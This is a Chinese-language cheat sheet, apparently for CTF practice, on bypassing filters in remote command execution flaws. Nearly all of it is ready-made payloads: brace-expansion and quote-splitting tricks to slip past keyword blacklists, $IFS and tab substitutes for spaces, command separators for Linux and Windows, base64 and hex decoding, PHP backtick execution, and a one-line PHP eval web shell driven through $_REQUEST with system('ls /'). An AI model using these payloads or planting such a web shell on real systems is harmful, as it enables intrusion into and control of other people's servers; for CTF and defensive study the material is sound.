RCE漏洞之绕过

时间:2025-03-07 07:39:13

文章目录

  • 花括号
  • 斜杠
  • 空格过滤
  • 一些命令分隔符
  • 黑名单绕过
    • 拼接绕过
    • 编码绕过
    • 单引号和双引号绕过
    • 利用Shell 特殊变量绕过
    • linux中直接查看文件内容的工具
    • 文件构造

花括号

{}
在Linux bash中还可以使用{OS_COMMAND,ARGUMENT}来执行系统命令
{cat,flag}

斜杠

路径 /
\是在正则等语法里面,表示后面跟的字符是正常字符,不需要转义。
也就意味着,我们可以在rce漏洞,过滤掉cat ls等命令时候,直接使用ca\t来实现绕过

空格过滤

< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等

一些命令分隔符

linux中:%0a(回车) 、%0d(换行) 、; 、& 、| 、&&、||
windows中:%0a、&、|、%1a(一个神奇的角色,作为.bat文件中的命令分隔符)

黑名单绕过

拼接绕过

比如:a=l;b=s;$a$b
利用偶读拼接方法绕过黑名单:a=fl;b=ag;cat $a$b
利用.拼接绕过(sy.(st).em)
使用内敛执行代替system

echo `ls`;
echo $(ls);
?><?=`ls`;
?><?=$(ls);
<?=`ls /`;?>      # 等效于<?php echo `ls /`; ?>

编码绕过

[root~]# echo 'Y2F0wqAK' | base64 -d
-d是解码,是base64解码
xxd - r -p可以转换16进制,同样用户管道符之后。

单引号和双引号绕过

比如:ca‘‘t flag 或ca""t flag

利用Shell 特殊变量绕过

例如,第一个参数是1,第二个参数是2。而参数不存在时其值为空。
$@表示
比如:ca$@t fla$@g或者ca$1t fla$2g

linux中直接查看文件内容的工具

cat、tac、more、less、head、tail、nl、sed、sort、uniq

more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容

(假设该目录下有和)

cat `ls` 

等同于–>

cat flag.php;cat index.php

文件构造

在ctfhub文件包含中,有一个shell,txt,也就是文件
我们令?file = ,已知内容为

<?php eval($_REQUEST['ctfhub']);?>

wrequest类型是由get和post构成的
在post数据里输入
ctfhub=system("ls /");
就可以执行命令.